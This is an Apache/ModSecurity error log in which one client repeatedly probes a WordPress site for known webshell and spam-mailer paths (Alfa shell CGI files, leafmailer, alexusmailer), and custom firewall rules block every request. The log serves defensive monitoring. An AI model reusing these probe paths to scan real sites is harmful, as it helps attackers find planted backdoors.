[Sun Apr 12 11:57:38.413892 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:26501] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa123.php"] [unique_id "adsYMsxUaQZxT-e0YsB7mQAAAFE"]
[Sun Apr 12 11:57:43.919248 2026] [:error] [pid 60280:tid 60286] [client 20.220.11.224:26560] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa123.php"] [unique_id "adsYN3BlLnDOYuIykkiacAAAAcQ"]
[Sun Apr 12 11:58:43.191014 2026] [:error] [pid 60280:tid 60282] [client 20.220.11.224:26589] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/niil.php"] [unique_id "adsYc3BlLnDOYuIykkibPAAAAcA"]
[Sun Apr 12 11:58:49.154732 2026] [:error] [pid 60280:tid 60306] [client 20.220.11.224:26597] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519-items.php"] [unique_id "adsYeXBlLnDOYuIykkibRQAAAdg"]
[Sun Apr 12 11:59:44.999868 2026] [:error] [pid 60280:tid 60288] [client 20.220.11.224:26540] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "adsYsHBlLnDOYuIykkibmAAAAcY"]
[Sun Apr 12 11:59:48.231089 2026] [:error] [pid 26600:tid 26652] [client 20.220.11.224:26594] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "adsYtO1YwAZiXhQKLYrU9wAAAZc"]
[Sun Apr 12 11:59:51.902401 2026] [:error] [pid 25328:tid 25365] [client 20.220.11.224:26562] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "adsYt8xUaQZxT-e0YsB8vgAAAEE"]
[Sun Apr 12 12:00:06.548002 2026] [:error] [pid 25437:tid 25461] [client 20.220.11.224:26585] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adsYxnf97wYZje1ep_PDnQAAANY"]
[Sun Apr 12 12:00:14.239006 2026] [:error] [pid 26600:tid 26633] [client 20.220.11.224:26577] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adsYzu1YwAZiXhQKLYrVIgAAAYQ"]
[Sun Apr 12 12:00:16.364514 2026] [:error] [pid 25328:tid 25380] [client 20.220.11.224:26441] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adsY0MxUaQZxT-e0YsB88AAAAEw"]
[Sun Apr 12 12:00:19.655344 2026] [:error] [pid 25328:tid 25387] [client 20.220.11.224:26506] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adsY08xUaQZxT-e0YsB8-gAAAE8"]
[Sun Apr 12 12:00:23.234286 2026] [:error] [pid 25437:tid 25453] [client 20.220.11.224:26615] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "adsY13f97wYZje1ep_PDqQAAAM4"]
[Sun Apr 12 12:00:25.836201 2026] [:error] [pid 25328:tid 25385] [client 20.220.11.224:26576] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "adsY2cxUaQZxT-e0YsB9BgAAAE4"]
[Sun Apr 12 12:00:37.633744 2026] [:error] [pid 25328:tid 25379] [client 20.220.11.224:26616] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/41.php"] [unique_id "adsY5cxUaQZxT-e0YsB9KwAAAEs"]
[Sun Apr 12 12:02:06.372991 2026] [proxy_fcgi:error] [pid 60280:tid 60285] [client 20.220.11.224:26439] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 12:02:06.871282 2026] [proxy_fcgi:error] [pid 60280:tid 60302] [client 20.220.11.224:26439] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 12:02:13.147228 2026] [autoindex:error] [pid 25328:tid 25367] [client 20.220.11.224:26561] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 12:02:19.452253 2026] [:error] [pid 60280:tid 60287] [client 20.220.11.224:26439] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "adsZS3BlLnDOYuIykkic9AAAAcU"]
[Sun Apr 12 12:02:31.461452 2026] [:error] [pid 25437:tid 25460] [client 20.220.11.224:26500] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "adsZV3f97wYZje1ep_PEjQAAANU"]
[Sun Apr 12 12:02:39.294474 2026] [:error] [pid 25328:tid 25377] [client 20.220.11.224:26574] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "adsZX8xUaQZxT-e0YsB-RwAAAEo"]
[Sun Apr 12 12:02:43.790397 2026] [:error] [pid 25437:tid 25443] [client 20.220.11.224:26617] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "adsZY3f97wYZje1ep_PElAAAAMQ"]
[Sun Apr 12 12:02:55.319306 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:26592] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "adsZb8xUaQZxT-e0YsB-ZwAAAFE"]
[Sun Apr 12 12:03:01.093880 2026] [:error] [pid 26567:tid 26589] [client 20.220.11.224:26556] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alexusmailer%202.0.php"] [unique_id "adsZdXhRpg6ptWFyFx1cKQAAARQ"]
[Sun Apr 12 12:04:27.278424 2026] [:error] [pid 26567:tid 26580] [client 20.220.11.224:26621] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "adsZy3hRpg6ptWFyFx1cbwAAAQs"]
[Sun Apr 12 12:04:32.662751 2026] [:error] [pid 26599:tid 26618] [client 20.220.11.224:26512] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "adsZ0HG89LXoQbk_rwCV7QAAAVA"]
[Sun Apr 12 12:04:42.655618 2026] [:error] [pid 26599:tid 26619] [client 20.220.11.224:26594] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "adsZ2nG89LXoQbk_rwCV8gAAAVE"]
[Sun Apr 12 12:04:48.552119 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:26498] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsZ4HBlLnDOYuIykkiekAAAAc4"]
[Sun Apr 12 12:04:52.243203 2026] [:error] [pid 26567:tid 26587] [client 20.220.11.224:26497] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsZ5HhRpg6ptWFyFx1chgAAARI"]
[Sun Apr 12 12:05:06.840350 2026] [:error] [pid 26600:tid 26630] [client 20.220.11.224:26541] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsZ8u1YwAZiXhQKLYrW1AAAAYE"]
[Sun Apr 12 12:05:48.153712 2026] [:error] [pid 26600:tid 26633] [client 20.220.11.224:26616] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/alfacgiapi/perl.alfa"] [unique_id "adsaHO1YwAZiXhQKLYrW5QAAAYQ"]
[Sun Apr 12 12:06:00.627336 2026] [:error] [pid 26600:tid 26632] [client 20.220.11.224:26573] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adsaKO1YwAZiXhQKLYrW7gAAAYM"]
[Sun Apr 12 12:06:01.847580 2026] [:error] [pid 25327:tid 25356] [client 20.220.11.224:26566] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adsaKS6h2tZEVJo9JFKTFgAAABQ"]
[Sun Apr 12 12:06:04.347557 2026] [:error] [pid 25437:tid 25443] [client 20.220.11.224:26598] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adsaLHf97wYZje1ep_PFiwAAAMQ"]
[Sun Apr 12 12:06:07.529156 2026] [:error] [pid 25328:tid 25369] [client 20.220.11.224:26620] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adsaL8xUaQZxT-e0YsB_eQAAAEU"]
[Sun Apr 12 12:06:11.299642 2026] [:error] [pid 25437:tid 25452] [client 20.220.11.224:26587] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/alfacgiapi/perl.alfa"] [unique_id "adsaM3f97wYZje1ep_PFkAAAAM0"]
[Sun Apr 12 12:06:19.501574 2026] [:error] [pid 60280:tid 60283] [client 20.220.11.224:26572] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/alfacgiapi/perl.alfa"] [unique_id "adsaO3BlLnDOYuIykkifQAAAAcE"]
[Sun Apr 12 12:06:26.103298 2026] [:error] [pid 25328:tid 25389] [client 20.220.11.224:26581] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "adsaQsxUaQZxT-e0YsB_nAAAAFA"]
[Sun Apr 12 12:06:27.427511 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:26613] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "adsaQ3BlLnDOYuIykkifVgAAAc4"]
[Sun Apr 12 12:06:38.420520 2026] [:error] [pid 60280:tid 60285] [client 20.220.11.224:26514] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaTnBlLnDOYuIykkifmQAAAcM"]
[Sun Apr 12 12:06:47.352108 2026] [:error] [pid 60280:tid 60289] [client 20.220.11.224:26561] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaV3BlLnDOYuIykkifwgAAAcc"]
[Sun Apr 12 12:06:48.402551 2026] [:error] [pid 60280:tid 60304] [client 20.220.11.224:26623] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaWHBlLnDOYuIykkifxAAAAdY"]
[Sun Apr 12 12:06:54.903722 2026] [:error] [pid 25329:tid 25402] [client 20.220.11.224:26560] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaXmdcIYsS8Iyaj117UAAAAI8"]
[Sun Apr 12 12:07:01.625252 2026] [:error] [pid 60280:tid 60298] [client 20.220.11.224:26614] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaZXBlLnDOYuIykkif7AAAAdA"]
[Sun Apr 12 12:07:15.241436 2026] [:error] [pid 26567:tid 26586] [client 20.220.11.224:26574] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsac3hRpg6ptWFyFx1dHAAAARE"]
[Sun Apr 12 12:07:24.768824 2026] [:error] [pid 26567:tid 26587] [client 20.220.11.224:26501] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsafHhRpg6ptWFyFx1dLQAAARI"]
[Sun Apr 12 12:07:25.776441 2026] [:error] [pid 60280:tid 60288] [client 20.220.11.224:26589] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa%22"] [unique_id "adsafXBlLnDOYuIykkigPwAAAcY"]
[Sun Apr 12 12:07:27.235875 2026] [:error] [pid 26600:tid 26647] [client 20.220.11.224:26617] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa%22"] [unique_id "adsaf-1YwAZiXhQKLYrXqwAAAZI"]
[Sun Apr 12 12:07:29.899040 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:26567] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa%22"] [unique_id "adsagcxUaQZxT-e0YsCAIQAAAFE"]
[Sun Apr 12 12:07:35.014629 2026] [:error] [pid 25328:tid 25369] [client 20.220.11.224:26607] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa%22"] [unique_id "adsah8xUaQZxT-e0YsCALwAAAEU"]
[Sun Apr 12 12:07:37.115986 2026] [:error] [pid 25328:tid 25398] [client 20.220.11.224:26618] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsaicxUaQZxT-e0YsCARwAAAFQ"]
[Sun Apr 12 12:08:05.934177 2026] [:error] [pid 60280:tid 60304] [client 20.220.11.224:26610] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adsapXBlLnDOYuIykkigsQAAAdY"]
[Sun Apr 12 12:08:11.153550 2026] [:error] [pid 60280:tid 60300] [client 20.220.11.224:26511] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date.php"] [unique_id "adsaq3BlLnDOYuIykkigywAAAdI"]
[Sun Apr 12 12:08:17.762879 2026] [:error] [pid 25437:tid 25456] [client 20.220.11.224:26505] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date.php"] [unique_id "adsasXf97wYZje1ep_PGTQAAANE"]
[Sun Apr 12 12:08:20.243397 2026] [:error] [pid 60280:tid 60304] [client 20.220.11.224:26612] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date.php"] [unique_id "adsatHBlLnDOYuIykkig2wAAAdY"]
[Sun Apr 12 12:08:26.326555 2026] [:error] [pid 25328:tid 25405] [client 20.220.11.224:26580] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo.php"] [unique_id "adsausxUaQZxT-e0YsCA1wAAAFc"]
[Sun Apr 12 12:08:29.980693 2026] [:error] [pid 60280:tid 60282] [client 20.220.11.224:26543] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pomo.php"] [unique_id "adsavXBlLnDOYuIykkig5wAAAcA"]
